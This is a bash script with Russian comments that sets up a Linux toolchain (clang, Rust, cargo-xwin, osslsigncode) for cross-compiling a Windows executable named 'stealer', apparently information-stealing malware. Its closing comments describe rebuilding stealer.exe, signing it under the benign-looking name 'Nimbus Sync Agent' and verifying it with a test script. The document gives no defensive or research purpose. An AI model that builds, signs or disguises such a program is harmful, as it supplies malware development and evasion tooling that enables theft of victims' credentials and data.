#!/bin/bash
# setup_stealer.sh — восстановление тулчейна сборки stealer на новом Linux-хосте (Debian/Ubuntu, root)
# Проверено на: Ubuntu 24.04 (host 6.8.0-137), clang-16, cargo 1.97.1, cargo-xwin 0.23.0
# После выполнения: см. раздел "Пересборка" ниже (в конце файла).
set -euo pipefail

echo "=== [1/6] Системные пакеты ==="
apt-get update
apt-get install -y clang-16 lld-16 llvm-16 osslsigncode openssl curl build-essential pkg-config
# osslsigncode 2.8 использовался на исходном хосте; в репо может быть другая версия — для подписи подойдёт любая 2.x

echo "=== [2/6] Rust toolchain ==="
if ! command -v rustup >/dev/null; then
  curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
  source "$HOME/.cargo/env"
fi
rustup target add x86_64-pc-windows-msvc

echo "=== [3/6] cargo-xwin ==="
if ! command -v cargo-xwin >/dev/null; then
  cargo install cargo-xwin --locked
fi

echo "=== [4/6] xwin SDK/CRT cache (~1.1 ГБ загрузка) ==="
cargo xwin cache --accept-license
# Кэш ложится в ~/.cache/cargo-xwin/xwin/{crt,sdk} — пути захардкожены в .cargo/config.toml проекта.
# Если домашний каталог на новом хосте НЕ /root — поправить пути -L в .cargo/config.toml!

echo "=== [5/6] shims в ~/.local/bin (cc-rs/winres workarounds) ==="
mkdir -p ~/.local/bin
printf '#!/bin/sh\nexec clang-16 --driver-mode=cl "$@"\n' > ~/.local/bin/clang-cl
chmod +x ~/.local/bin/clang-cl
ln -sf "$(command -v llvm-lib-16)" ~/.local/bin/lib.exe
ln -sf "$(command -v llvm-rc-16)"  ~/.local/bin/rc.exe
case ":$PATH:" in *":$HOME/.local/bin:"*) ;; *) echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc; export PATH="$HOME/.local/bin:$PATH";; esac

echo "=== [6/6] Проверка ==="
clang-cl --version | head -1
rc.exe /? 2>&1 | head -1 || true
lib.exe 2>&1 | head -1 || true
cargo xwin --version
echo "OK: тулчейн готов"

# ================= ПЕРЕСБОРКА =================
# cd <распакованный stealer/>
# export PATH="$HOME/.local/bin:$PATH"
# cargo xwin build --release --target x86_64-pc-windows-msvc
# osslsigncode sign -pkcs12 signing/nimbus.pfx -pass '' -n "Nimbus Sync Agent" \
#   -in  target/x86_64-pc-windows-msvc/release/stealer.exe \
#   -out target/x86_64-pc-windows-msvc/release/stealer.exe.signed
# mv target/x86_64-pc-windows-msvc/release/stealer.exe{.signed,}
# python3 verify_stealer.py   # ожидание: ALL PASS (20/20)
# sha256 должен совпасть с a0af5412679a104345804fc5dbf67ebd8e717c73ebed9d6458afe5f47c8087ee
# (репродуцируемость не гарантирована между версиями компилятора — при расхождении
#  считать валидным при ALL PASS verify_stealer.py)
